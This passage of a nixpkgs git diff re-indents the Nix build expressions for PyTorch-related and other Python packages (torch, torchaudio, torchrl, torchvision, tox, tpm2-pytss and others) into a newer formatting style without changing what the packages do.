+    # torch/csrc requires `pybind11` at runtime
+    pybind11
+  ]
+  ++ lib.optionals tritonSupport [ _tritonEffective ]
+  ++ lib.optionals vulkanSupport [
+    vulkan-headers
+    vulkan-loader
+  ];
 
   propagatedCxxBuildInputs =
     [ ] ++ lib.optionals MPISupport [ mpi ] ++ lib.optionals rocmSupport [ rocmtoolkit_joined ];
@@ -640,61 +633,59 @@ buildPythonPackage rec {
     "pytorch-triton-rocm"
   ];
 
-  postInstall =
-    ''
-      find "$out/${python.sitePackages}/torch/include" "$out/${python.sitePackages}/torch/lib" -type f -exec remove-references-to -t ${stdenv.cc} '{}' +
+  postInstall = ''
+    find "$out/${python.sitePackages}/torch/include" "$out/${python.sitePackages}/torch/lib" -type f -exec remove-references-to -t ${stdenv.cc} '{}' +
 
-      mkdir $dev
+    mkdir $dev
 
-      # CppExtension requires that include files are packaged with the main
-      # python library output; which is why they are copied here.
-      cp -r $out/${python.sitePackages}/torch/include $dev/include
+    # CppExtension requires that include files are packaged with the main
+    # python library output; which is why they are copied here.
+    cp -r $out/${python.sitePackages}/torch/include $dev/include
 
-      # Cmake files under /share are different and can be safely moved. This
-      # avoids unnecessary closure blow-up due to apple sdk references when
-      # USE_DISTRIBUTED is enabled.
-      mv $out/${python.sitePackages}/torch/share $dev/share
+    # Cmake files under /share are different and can be safely moved. This
+    # avoids unnecessary closure blow-up due to apple sdk references when
+    # USE_DISTRIBUTED is enabled.
+    mv $out/${python.sitePackages}/torch/share $dev/share
 
-      # Fix up library paths for split outputs
-      substituteInPlace \
-        $dev/share/cmake/Torch/TorchConfig.cmake \
-        --replace-fail \''${TORCH_INSTALL_PREFIX}/lib "$lib/lib"
+    # Fix up library paths for split outputs
+    substituteInPlace \
+      $dev/share/cmake/Torch/TorchConfig.cmake \
+      --replace-fail \''${TORCH_INSTALL_PREFIX}/lib "$lib/lib"
 
-      substituteInPlace \
-        $dev/share/cmake/Caffe2/Caffe2Targets-release.cmake \
-        --replace-fail \''${_IMPORT_PREFIX}/lib "$lib/lib"
+    substituteInPlace \
+      $dev/share/cmake/Caffe2/Caffe2Targets-release.cmake \
+      --replace-fail \''${_IMPORT_PREFIX}/lib "$lib/lib"
 
-      mkdir $lib
-      mv $out/${python.sitePackages}/torch/lib $lib/lib
-      ln -s $lib/lib $out/${python.sitePackages}/torch/lib
-    ''
-    + lib.optionalString rocmSupport ''
-      substituteInPlace $dev/share/cmake/Tensorpipe/TensorpipeTargets-release.cmake \
-        --replace-fail "\''${_IMPORT_PREFIX}/lib64" "$lib/lib"
+    mkdir $lib
+    mv $out/${python.sitePackages}/torch/lib $lib/lib
+    ln -s $lib/lib $out/${python.sitePackages}/torch/lib
+  ''
+  + lib.optionalString rocmSupport ''
+    substituteInPlace $dev/share/cmake/Tensorpipe/TensorpipeTargets-release.cmake \
+      --replace-fail "\''${_IMPORT_PREFIX}/lib64" "$lib/lib"
 
-      substituteInPlace $dev/share/cmake/ATen/ATenConfig.cmake \
-        --replace-fail "/build/${src.name}/torch/include" "$dev/include"
-    '';
+    substituteInPlace $dev/share/cmake/ATen/ATenConfig.cmake \
+      --replace-fail "/build/${src.name}/torch/include" "$dev/include"
+  '';
 
-  postFixup =
-    ''
-      mkdir -p "$cxxdev/nix-support"
-      printWords "''${propagatedCxxBuildInputs[@]}" >> "$cxxdev/nix-support/propagated-build-inputs"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      for f in $(ls $lib/lib/*.dylib); do
-          install_name_tool -id $lib/lib/$(basename $f) $f || true
-      done
+  postFixup = ''
+    mkdir -p "$cxxdev/nix-support"
+    printWords "''${propagatedCxxBuildInputs[@]}" >> "$cxxdev/nix-support/propagated-build-inputs"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    for f in $(ls $lib/lib/*.dylib); do
+        install_name_tool -id $lib/lib/$(basename $f) $f || true
+    done
 
-      install_name_tool -change @rpath/libshm.dylib $lib/lib/libshm.dylib $lib/lib/libtorch_python.dylib
-      install_name_tool -change @rpath/libtorch.dylib $lib/lib/libtorch.dylib $lib/lib/libtorch_python.dylib
-      install_name_tool -change @rpath/libc10.dylib $lib/lib/libc10.dylib $lib/lib/libtorch_python.dylib
+    install_name_tool -change @rpath/libshm.dylib $lib/lib/libshm.dylib $lib/lib/libtorch_python.dylib
+    install_name_tool -change @rpath/libtorch.dylib $lib/lib/libtorch.dylib $lib/lib/libtorch_python.dylib
+    install_name_tool -change @rpath/libc10.dylib $lib/lib/libc10.dylib $lib/lib/libtorch_python.dylib
 
-      install_name_tool -change @rpath/libc10.dylib $lib/lib/libc10.dylib $lib/lib/libtorch.dylib
+    install_name_tool -change @rpath/libc10.dylib $lib/lib/libc10.dylib $lib/lib/libtorch.dylib
 
-      install_name_tool -change @rpath/libtorch.dylib $lib/lib/libtorch.dylib $lib/lib/libshm.dylib
-      install_name_tool -change @rpath/libc10.dylib $lib/lib/libc10.dylib $lib/lib/libshm.dylib
-    '';
+    install_name_tool -change @rpath/libtorch.dylib $lib/lib/libtorch.dylib $lib/lib/libshm.dylib
+    install_name_tool -change @rpath/libc10.dylib $lib/lib/libc10.dylib $lib/lib/libshm.dylib
+  '';
 
   # See https://github.com/NixOS/nixpkgs/issues/296179
   #
@@ -745,8 +736,7 @@ buildPythonPackage rec {
       tscholak
     ]; # tscholak esp. for darwin-related builds
     platforms =
-      lib.platforms.linux
-      ++ lib.optionals (!cudaSupport && !rocmSupport) lib.platforms.darwin;
+      lib.platforms.linux ++ lib.optionals (!cudaSupport && !rocmSupport) lib.platforms.darwin;
     broken = builtins.any trivial.id (builtins.attrValues brokenConditions);
   };
 }
diff --git a/pkgs/development/python-modules/torchaudio/bin.nix b/pkgs/development/python-modules/torchaudio/bin.nix
index b6c3cda5e7a5..95ebcefb4ffe 100644
--- a/pkgs/development/python-modules/torchaudio/bin.nix
+++ b/pkgs/development/python-modules/torchaudio/bin.nix
@@ -35,24 +35,23 @@ buildPythonPackage rec {
 
   disabled = (pythonOlder "3.9") || (pythonAtLeast "3.14");
 
-  buildInputs =
+  buildInputs = [
+    # We need to patch lib/torio/_torio_ffmpeg6
+    ffmpeg_6.dev
+    sox
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux (
+    with cudaPackages;
     [
-      # We need to patch lib/torio/_torio_ffmpeg6
-      ffmpeg_6.dev
-      sox
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux (
-      with cudaPackages;
-      [
-        # $out/${sitePackages}/torchaudio/lib/libtorchaudio*.so wants libcudart.so.11.0 but torch/lib only ships
-        # libcudart.$hash.so.11.0
-        cuda_cudart
+      # $out/${sitePackages}/torchaudio/lib/libtorchaudio*.so wants libcudart.so.11.0 but torch/lib only ships
+      # libcudart.$hash.so.11.0
+      cuda_cudart
 
-        # $out/${sitePackages}/torchaudio/lib/libtorchaudio*.so wants libnvToolsExt.so.2 but torch/lib only ships
-        # libnvToolsExt-$hash.so.1
-        cuda_nvtx
-      ]
-    );
+      # $out/${sitePackages}/torchaudio/lib/libtorchaudio*.so wants libnvToolsExt.so.2 but torch/lib only ships
+      # libnvToolsExt-$hash.so.1
+      cuda_nvtx
+    ]
+  );
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     autoPatchelfHook
diff --git a/pkgs/development/python-modules/torchaudio/default.nix b/pkgs/development/python-modules/torchaudio/default.nix
index b68d1e982e2a..b003424f2218 100644
--- a/pkgs/development/python-modules/torchaudio/default.nix
+++ b/pkgs/development/python-modules/torchaudio/default.nix
@@ -113,28 +113,28 @@ buildPythonPackage rec {
     ];
   };
 
-  nativeBuildInputs =
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    ninja
+  ]
+  ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ]
+  ++ lib.optionals rocmSupport (
+    with rocmPackages;
     [
-      cmake
-      pkg-config
-      ninja
+      clr
+      rocblas
+      hipblas
     ]
-    ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ]
-    ++ lib.optionals rocmSupport (
-      with rocmPackages;
-      [
-        clr
-        rocblas
-        hipblas
-      ]
-    );
+  );
 
   buildInputs = [
     ffmpeg_6-full
     pybind11
     sox
     torch.cxxdev
-  ] ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
+  ]
+  ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
 
   dependencies = [ torch ];
 
@@ -160,8 +160,7 @@ buildPythonPackage rec {
     changelog = "https://github.com/pytorch/audio/releases/tag/v${version}";
     license = lib.licenses.bsd2;
     platforms =
-      lib.platforms.linux
-      ++ lib.optionals (!cudaSupport && !rocmSupport) lib.platforms.darwin;
+      lib.platforms.linux ++ lib.optionals (!cudaSupport && !rocmSupport) lib.platforms.darwin;
     maintainers = with lib.maintainers; [
       GaetanLepage
       junjihashimoto
diff --git a/pkgs/development/python-modules/torcheval/default.nix b/pkgs/development/python-modules/torcheval/default.nix
index 771d58b498f9..df26b6b9af02 100644
--- a/pkgs/development/python-modules/torcheval/default.nix
+++ b/pkgs/development/python-modules/torcheval/default.nix
@@ -72,67 +72,66 @@ buildPythonPackage {
     torchvision
   ];
 
-  pytestFlagsArray =
-    [
-      "-v"
-      "tests/"
+  pytestFlagsArray = [
+    "-v"
+    "tests/"
 
-      # -- tests/metrics/audio/test_fad.py --
-      # Touch filesystem and require network access.
-      # torchaudio.utils.download_asset("models/vggish.pt") -> PermissionError: [Errno 13] Permission denied: '/homeless-shelter'
-      "--deselect=tests/metrics/audio/test_fad.py::TestFAD::test_vggish_fad"
-      "--deselect=tests/metrics/audio/test_fad.py::TestFAD::test_vggish_fad_merge"
+    # -- tests/metrics/audio/test_fad.py --
+    # Touch filesystem and require network access.
+    # torchaudio.utils.download_asset("models/vggish.pt") -> PermissionError: [Errno 13] Permission denied: '/homeless-shelter'
+    "--deselect=tests/metrics/audio/test_fad.py::TestFAD::test_vggish_fad"
+    "--deselect=tests/metrics/audio/test_fad.py::TestFAD::test_vggish_fad_merge"
 
-      # -- tests/metrics/image/test_fid.py --
-      # Touch filesystem and require network access.
-      # models.inception_v3(weights=weights) -> PermissionError: [Errno 13] Permission denied: '/homeless-shelter'
-      "--deselect=tests/metrics/image/test_fid.py::TestFrechetInceptionDistance::test_fid_invalid_input"
-      "--deselect=tests/metrics/image/test_fid.py::TestFrechetInceptionDistance::test_fid_random_data_custom_model"
-      "--deselect=tests/metrics/image/test_fid.py::TestFrechetInceptionDistance::test_fid_random_data_default_model"
-      "--deselect=tests/metrics/image/test_fid.py::TestFrechetInceptionDistance::test_fid_with_dissimilar_inputs"
-      "--deselect=tests/metrics/image/test_fid.py::TestFrechetInceptionDistance::test_fid_with_similar_inputs"
+    # -- tests/metrics/image/test_fid.py --
+    # Touch filesystem and require network access.
+    # models.inception_v3(weights=weights) -> PermissionError: [Errno 13] Permission denied: '/homeless-shelter'
+    "--deselect=tests/metrics/image/test_fid.py::TestFrechetInceptionDistance::test_fid_invalid_input"
+    "--deselect=tests/metrics/image/test_fid.py::TestFrechetInceptionDistance::test_fid_random_data_custom_model"
+    "--deselect=tests/metrics/image/test_fid.py::TestFrechetInceptionDistance::test_fid_random_data_default_model"
+    "--deselect=tests/metrics/image/test_fid.py::TestFrechetInceptionDistance::test_fid_with_dissimilar_inputs"
+    "--deselect=tests/metrics/image/test_fid.py::TestFrechetInceptionDistance::test_fid_with_similar_inputs"
 
-      # -- tests/metrics/functional/text/test_perplexity.py --
-      # AssertionError: Scalars are not close!
-      # Expected 3.537154912949 but got 3.53715443611145
-      "--deselect=tests/metrics/functional/text/test_perplexity.py::Perplexity::test_perplexity_with_ignore_index"
+    # -- tests/metrics/functional/text/test_perplexity.py --
+    # AssertionError: Scalars are not close!
+    # Expected 3.537154912949 but got 3.53715443611145
+    "--deselect=tests/metrics/functional/text/test_perplexity.py::Perplexity::test_perplexity_with_ignore_index"
 
-      # -- tests/metrics/image/test_psnr.py --
-      # AssertionError: Scalars are not close!
-      # Expected 7.781850814819336 but got 7.781772613525391
-      "--deselect=tests/metrics/image/test_psnr.py::TestPeakSignalNoiseRatio::test_psnr_with_random_data"
+    # -- tests/metrics/image/test_psnr.py --
+    # AssertionError: Scalars are not close!
+    # Expected 7.781850814819336 but got 7.781772613525391
+    "--deselect=tests/metrics/image/test_psnr.py::TestPeakSignalNoiseRatio::test_psnr_with_random_data"
 
-      # -- tests/metrics/regression/test_mean_squared_error.py --
-      # AssertionError: Scalars are not close!
-      # Expected -640.4547729492188 but got -640.4707641601562
-      "--deselect=tests/metrics/regression/test_mean_squared_error.py::TestMeanSquaredError::test_mean_squared_error_class_update_input_shape_different"
+    # -- tests/metrics/regression/test_mean_squared_error.py --
+    # AssertionError: Scalars are not close!
+    # Expected -640.4547729492188 but got -640.4707641601562
+    "--deselect=tests/metrics/regression/test_mean_squared_error.py::TestMeanSquaredError::test_mean_squared_error_class_update_input_shape_different"
 
-      # -- tests/metrics/window/test_mean_squared_error.py --
-      # AssertionError: Scalars are not close!
-      # Expected 0.0009198983898386359 but got 0.0009198188781738281
-      "--deselect=tests/metrics/window/test_mean_squared_error.py::TestMeanSquaredError::test_mean_squared_error_class_update_input_shape_different"
-    ]
+    # -- tests/metrics/window/test_mean_squared_error.py --
+    # AssertionError: Scalars are not close!
+    # Expected 0.0009198983898386359 but got 0.0009198188781738281
+    "--deselect=tests/metrics/window/test_mean_squared_error.py::TestMeanSquaredError::test_mean_squared_error_class_update_input_shape_different"
+  ]
 
-    # These tests error on darwin platforms.
-    # NotImplementedError: The operator 'c10d::allgather_' is not currently implemented for the mps device
-    #
-    # Applying the suggested environment variable `PYTORCH_ENABLE_MPS_FALLBACK=1;` causes the tests to fail,
-    # as using the CPU instead of the MPS causes the tensors to be on the wrong device:
-    # RuntimeError: ProcessGroupGloo::allgather: invalid tensor type at index 0;
-    # Expected TensorOptions(dtype=float, device=cpu, ...), got TensorOptions(dtype=float, device=mps:0, ...)
-    ++ lib.optional stdenv.hostPlatform.isDarwin [
-      # -- tests/metrics/test_synclib.py --
-      "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_complex_mixed_state_sync"
-      "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_complex_mixed_state_sync"
-      "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_empty_tensor_list_sync_state"
-      "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_sync_dtype_and_shape"
-      "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_tensor_list_sync_states"
-      "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_tensor_dict_sync_states"
-      "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_tensor_sync_states"
-      # -- tests/metrics/test_toolkit.py --
-      "--deselect=tests/metrics/test_toolkit.py::MetricToolkitTest::test_metric_sync"
-      "--deselect=tests/metrics/test_toolkit.py::MetricCollectionToolkitTest::test_metric_collection_sync"
-    ];
+  # These tests error on darwin platforms.
+  # NotImplementedError: The operator 'c10d::allgather_' is not currently implemented for the mps device
+  #
+  # Applying the suggested environment variable `PYTORCH_ENABLE_MPS_FALLBACK=1;` causes the tests to fail,
+  # as using the CPU instead of the MPS causes the tensors to be on the wrong device:
+  # RuntimeError: ProcessGroupGloo::allgather: invalid tensor type at index 0;
+  # Expected TensorOptions(dtype=float, device=cpu, ...), got TensorOptions(dtype=float, device=mps:0, ...)
+  ++ lib.optional stdenv.hostPlatform.isDarwin [
+    # -- tests/metrics/test_synclib.py --
+    "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_complex_mixed_state_sync"
+    "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_complex_mixed_state_sync"
+    "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_empty_tensor_list_sync_state"
+    "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_sync_dtype_and_shape"
+    "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_tensor_list_sync_states"
+    "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_tensor_dict_sync_states"
+    "--deselect=tests/metrics/test_synclib.py::SynclibTest::test_tensor_sync_states"
+    # -- tests/metrics/test_toolkit.py --
+    "--deselect=tests/metrics/test_toolkit.py::MetricToolkitTest::test_metric_sync"
+    "--deselect=tests/metrics/test_toolkit.py::MetricCollectionToolkitTest::test_metric_collection_sync"
+  ];
 
   meta = {
     description = "Rich collection of performant PyTorch model metrics and tools for PyTorch model evaluations";
diff --git a/pkgs/development/python-modules/torchio/default.nix b/pkgs/development/python-modules/torchio/default.nix
index 6b5db6ffa925..f6f82e1fab17 100644
--- a/pkgs/development/python-modules/torchio/default.nix
+++ b/pkgs/development/python-modules/torchio/default.nix
@@ -62,15 +62,14 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # tries to download models:
-      "test_load_all"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      # RuntimeError: DataLoader worker (pid(s) <...>) exited unexpectedly
-      "test_queue_multiprocessing"
-    ];
+  disabledTests = [
+    # tries to download models:
+    "test_load_all"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    # RuntimeError: DataLoader worker (pid(s) <...>) exited unexpectedly
+    "test_queue_multiprocessing"
+  ];
 
   pythonImportsCheck = [
     "torchio"
diff --git a/pkgs/development/python-modules/torchrl/default.nix b/pkgs/development/python-modules/torchrl/default.nix
index f674b1135080..745b2684ba9a 100644
--- a/pkgs/development/python-modules/torchrl/default.nix
+++ b/pkgs/development/python-modules/torchrl/default.nix
@@ -118,81 +118,79 @@ buildPythonPackage rec {
     export XDG_RUNTIME_DIR=$(mktemp -d)
   '';
 
-  nativeCheckInputs =
-    [
-      h5py
-      gymnasium
-      imageio
-      pytest-rerunfailures
-      pytestCheckHook
-      pyyaml
-      scipy
-      torchvision
-    ]
-    ++ optional-dependencies.atari
-    ++ optional-dependencies.gym-continuous
-    ++ optional-dependencies.rendering;
+  nativeCheckInputs = [
+    h5py
+    gymnasium
+    imageio
+    pytest-rerunfailures
+    pytestCheckHook
+    pyyaml
+    scipy
+    torchvision
+  ]
+  ++ optional-dependencies.atari
+  ++ optional-dependencies.gym-continuous
+  ++ optional-dependencies.rendering;
 
-  disabledTests =
-    [
-      # torchrl is incompatible with gymnasium>=1.0
-      # https://github.com/pytorch/rl/discussions/2483
-      "test_resetting_strategies"
-      "test_torchrl_to_gym"
-      "test_vecenvs_nan"
+  disabledTests = [
+    # torchrl is incompatible with gymnasium>=1.0
+    # https://github.com/pytorch/rl/discussions/2483
+    "test_resetting_strategies"
+    "test_torchrl_to_gym"
+    "test_vecenvs_nan"
 
-      # gym.error.VersionNotFound: Environment version `v5` for environment `HalfCheetah` doesn't exist.
-      "test_collector_run"
-      "test_transform_inverse"
+    # gym.error.VersionNotFound: Environment version `v5` for environment `HalfCheetah` doesn't exist.
+    "test_collector_run"
+    "test_transform_inverse"
 
-      # OSError: Unable to synchronously create file (unable to truncate a file which is already open)
-      "test_multi_env"
-      "test_simple_env"
+    # OSError: Unable to synchronously create file (unable to truncate a file which is already open)
+    "test_multi_env"
+    "test_simple_env"
 
-      # ImportWarning: Ignoring non-library in plugin directory:
-      # /nix/store/cy8vwf1dacp3xfwnp9v6a1sz8bic8ylx-python3.12-mujoco-3.3.2/lib/python3.12/site-packages/mujoco/plugin/libmujoco.so.3.3.2
-      "test_auto_register"
-      "test_info_dict_reader"
+    # ImportWarning: Ignoring non-library in plugin directory:
+    # /nix/store/cy8vwf1dacp3xfwnp9v6a1sz8bic8ylx-python3.12-mujoco-3.3.2/lib/python3.12/site-packages/mujoco/plugin/libmujoco.so.3.3.2
+    "test_auto_register"
+    "test_info_dict_reader"
 
-      # mujoco.FatalError: an OpenGL platform library has not been loaded into this process, this most likely means that a valid OpenGL context has not been created before mjr_makeContext was called
-      "test_vecenvs_env"
+    # mujoco.FatalError: an OpenGL platform library has not been loaded into this process, this most likely means that a valid OpenGL context has not been created before mjr_makeContext was called
+    "test_vecenvs_env"
 
-      # ValueError: Can't write images with one color channel.
-      "test_log_video"
+    # ValueError: Can't write images with one color channel.
+    "test_log_video"
 
-      # Those tests require the ALE environments (provided by unpackaged shimmy)
-      "test_collector_env_reset"
-      "test_gym"
-      "test_gym_fake_td"
-      "test_recorder"
-      "test_recorder_load"
-      "test_rollout"
-      "test_parallel_trans_env_check"
-      "test_serial_trans_env_check"
-      "test_single_trans_env_check"
-      "test_td_creation_from_spec"
-      "test_trans_parallel_env_check"
-      "test_trans_serial_env_check"
-      "test_transform_env"
+    # Those tests require the ALE environments (provided by unpackaged shimmy)
+    "test_collector_env_reset"
+    "test_gym"
+    "test_gym_fake_td"
+    "test_recorder"
+    "test_recorder_load"
+    "test_rollout"
+    "test_parallel_trans_env_check"
+    "test_serial_trans_env_check"
+    "test_single_trans_env_check"
+    "test_td_creation_from_spec"
+    "test_trans_parallel_env_check"
+    "test_trans_serial_env_check"
+    "test_transform_env"
 
-      # undeterministic
-      "test_distributed_collector_updatepolicy"
-      "test_timeit"
+    # undeterministic
+    "test_distributed_collector_updatepolicy"
+    "test_timeit"
 
-      # On a 24 threads system
-      # assert torch.get_num_threads() == max(1, init_threads - 3)
-      # AssertionError: assert 23 == 21
-      "test_auto_num_threads"
+    # On a 24 threads system
+    # assert torch.get_num_threads() == max(1, init_threads - 3)
+    # AssertionError: assert 23 == 21
+    "test_auto_num_threads"
 
-      # Flaky (hangs indefinitely on some CPUs)
-      "test_gae_multidim"
-      "test_gae_param_as_tensor"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # Flaky
-      # AssertionError: assert tensor([51.]) == ((5 * 11) + 2)
-      "test_vecnorm_parallel_auto"
-    ];
+    # Flaky (hangs indefinitely on some CPUs)
+    "test_gae_multidim"
+    "test_gae_param_as_tensor"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # Flaky
+    # AssertionError: assert tensor([51.]) == ((5 * 11) + 2)
+    "test_vecnorm_parallel_auto"
+  ];
 
   meta = {
     description = "Modular, primitive-first, python-first PyTorch library for Reinforcement Learning";
diff --git a/pkgs/development/python-modules/torchvision/default.nix b/pkgs/development/python-modules/torchvision/default.nix
index bfb3f8bbd28d..5a53761e60cb 100644
--- a/pkgs/development/python-modules/torchvision/default.nix
+++ b/pkgs/development/python-modules/torchvision/default.nix
@@ -47,22 +47,22 @@ buildPythonPackage {
     libpng
     ninja
     which
-  ] ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ];
+  ]
+  ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ];
 
-  buildInputs =
-    [
-      libjpeg_turbo
-      libpng
-      torch.cxxdev
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # This should match the SDK used by `torch` above
-      apple-sdk_13
+  buildInputs = [
+    libjpeg_turbo
+    libpng
+    torch.cxxdev
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # This should match the SDK used by `torch` above
+    apple-sdk_13
 
-      # error: unknown type name 'MPSGraphCompilationDescriptor'; did you mean 'MPSGraphExecutionDescriptor'?
-      # https://developer.apple.com/documentation/metalperformanceshadersgraph/mpsgraphcompilationdescriptor/
-      (darwinMinVersionHook "12.0")
-    ];
+    # error: unknown type name 'MPSGraphCompilationDescriptor'; did you mean 'MPSGraphExecutionDescriptor'?
+    # https://developer.apple.com/documentation/metalperformanceshadersgraph/mpsgraphcompilationdescriptor/
+    (darwinMinVersionHook "12.0")
+  ];
 
   dependencies = [
     numpy
@@ -71,15 +71,14 @@ buildPythonPackage {
     scipy
   ];
 
-  env =
-    {
-      TORCHVISION_INCLUDE = "${libjpeg_turbo.dev}/include/";
-      TORCHVISION_LIBRARY = "${libjpeg_turbo}/lib/";
-    }
-    // lib.optionalAttrs cudaSupport {
-      TORCH_CUDA_ARCH_LIST = "${lib.concatStringsSep ";" cudaCapabilities}";
-      FORCE_CUDA = 1;
-    };
+  env = {
+    TORCHVISION_INCLUDE = "${libjpeg_turbo.dev}/include/";
+    TORCHVISION_LIBRARY = "${libjpeg_turbo}/lib/";
+  }
+  // lib.optionalAttrs cudaSupport {
+    TORCH_CUDA_ARCH_LIST = "${lib.concatStringsSep ";" cudaCapabilities}";
+    FORCE_CUDA = 1;
+  };
 
   # tests download big datasets, models, require internet connection, etc.
   doCheck = false;
diff --git a/pkgs/development/python-modules/towncrier/default.nix b/pkgs/development/python-modules/towncrier/default.nix
index 580d82133f2d..db55452952ce 100644
--- a/pkgs/development/python-modules/towncrier/default.nix
+++ b/pkgs/development/python-modules/towncrier/default.nix
@@ -29,14 +29,13 @@ buildPythonPackage rec {
 
   build-system = [ hatchling ];
 
-  dependencies =
-    [
-      click
-      incremental
-      jinja2
-    ]
-    ++ lib.optionals (pythonOlder "3.10") [ importlib-resources ]
-    ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  dependencies = [
+    click
+    incremental
+    jinja2
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-resources ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   preCheck = ''
     export PATH=$out/bin:$PATH
diff --git a/pkgs/development/python-modules/tox/default.nix b/pkgs/development/python-modules/tox/default.nix
index 3e8ba4b61277..eac8fa162c3c 100644
--- a/pkgs/development/python-modules/tox/default.nix
+++ b/pkgs/development/python-modules/tox/default.nix
@@ -57,7 +57,8 @@ buildPythonPackage rec {
     six
     toml
     virtualenv
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   doCheck = false; # infinite recursion via devpi-client
 
diff --git a/pkgs/development/python-modules/tpm2-pytss/default.nix b/pkgs/development/python-modules/tpm2-pytss/default.nix
index 807f51dabe42..b268814971df 100644
--- a/pkgs/development/python-modules/tpm2-pytss/default.nix
+++ b/pkgs/development/python-modules/tpm2-pytss/default.nix
@@ -34,29 +34,28 @@ buildPythonPackage rec {
     hash = "sha256-IAcRKTeWVvXzw7wW02RhJnKxR9gRkftOufn/n77khBA=";
   };
 
-  patches =
-    [
-      # Fix hardcoded `fapi-config.json` configuration path
-      ./fapi-config.patch
-      # libtpms (underneath swtpm) bumped the TPM revision
-      # https://github.com/tpm2-software/tpm2-pytss/pull/593
-      (fetchpatch {
-        url = "https://github.com/tpm2-software/tpm2-pytss/pull/593.patch";
-        hash = "sha256-CNJnSIvUQ0Yvy0o7GdVfFZ7kHJd2hBt5Zv1lqgOeoks=";
-      })
-    ]
-    ++ lib.optionals isCross [
-      # pytss will regenerate files from headers of tpm2-tss.
-      # Those headers are fed through a compiler via pycparser. pycparser expects `cpp`
-      # to be in the path.
-      # This is put in the path via stdenv when not cross-compiling, but this is absent
-      # when cross-compiling is turned on.
-      # This patch changes the call to pycparser.preprocess_file to provide the name
-      # of the cross-compiling cpp
-      (replaceVars ./cross.patch {
-        crossPrefix = stdenv.hostPlatform.config;
-      })
-    ];
+  patches = [
+    # Fix hardcoded `fapi-config.json` configuration path
+    ./fapi-config.patch
+    # libtpms (underneath swtpm) bumped the TPM revision
+    # https://github.com/tpm2-software/tpm2-pytss/pull/593
+    (fetchpatch {
+      url = "https://github.com/tpm2-software/tpm2-pytss/pull/593.patch";
+      hash = "sha256-CNJnSIvUQ0Yvy0o7GdVfFZ7kHJd2hBt5Zv1lqgOeoks=";
+    })
+  ]
+  ++ lib.optionals isCross [
+    # pytss will regenerate files from headers of tpm2-tss.
+    # Those headers are fed through a compiler via pycparser. pycparser expects `cpp`
+    # to be in the path.
+    # This is put in the path via stdenv when not cross-compiling, but this is absent
+    # when cross-compiling is turned on.
+    # This patch changes the call to pycparser.preprocess_file to provide the name
+    # of the cross-compiling cpp
+    (replaceVars ./cross.patch {
+      crossPrefix = stdenv.hostPlatform.config;
+    })
+  ];
 
   postPatch = ''
     sed -i "s#@TPM2_TSS@#${tpm2-tss.out}#" src/tpm2_pytss/FAPI.py
diff --git a/pkgs/development/python-modules/transitions/default.nix b/pkgs/development/python-modules/transitions/default.nix
index a7b5535c9dcc..61df76109ba0 100644
--- a/pkgs/development/python-modules/transitions/default.nix
+++ b/pkgs/development/python-modules/transitions/default.nix
@@ -47,25 +47,24 @@ buildPythonPackage rec {
     "tests/test_async.py"
   ];
 
-  disabledTests =
-    [
-      "test_diagram"
-      "test_ordered_with_graph"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Upstream issue https://github.com/pygraphviz/pygraphviz/issues/441
-      "test_binary_stream"
+  disabledTests = [
+    "test_diagram"
+    "test_ordered_with_graph"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Upstream issue https://github.com/pygraphviz/pygraphviz/issues/441
+    "test_binary_stream"
 
-      # sleep is not accurate on Darwin
-      "test_timeout"
-      "test_timeout_callbacks"
-      "test_timeout_transitioning"
-      "test_thread_access"
-      "test_parallel_access"
-      "test_parallel_deep"
-      "test_conditional_access"
-      "test_pickle"
-    ];
+    # sleep is not accurate on Darwin
+    "test_timeout"
+    "test_timeout_callbacks"
+    "test_timeout_transitioning"
+    "test_thread_access"
+    "test_parallel_access"
+    "test_parallel_deep"
+    "test_conditional_access"
+    "test_pickle"
+  ];
 
   pythonImportsCheck = [ "transitions" ];
 
diff --git a/pkgs/development/python-modules/treq/default.nix b/pkgs/development/python-modules/treq/default.nix
index 7138ea063672..2f19ecf00a0a 100644
--- a/pkgs/development/python-modules/treq/default.nix
+++ b/pkgs/development/python-modules/treq/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
     incremental
     requests
     twisted
-  ] ++ twisted.optional-dependencies.tls;
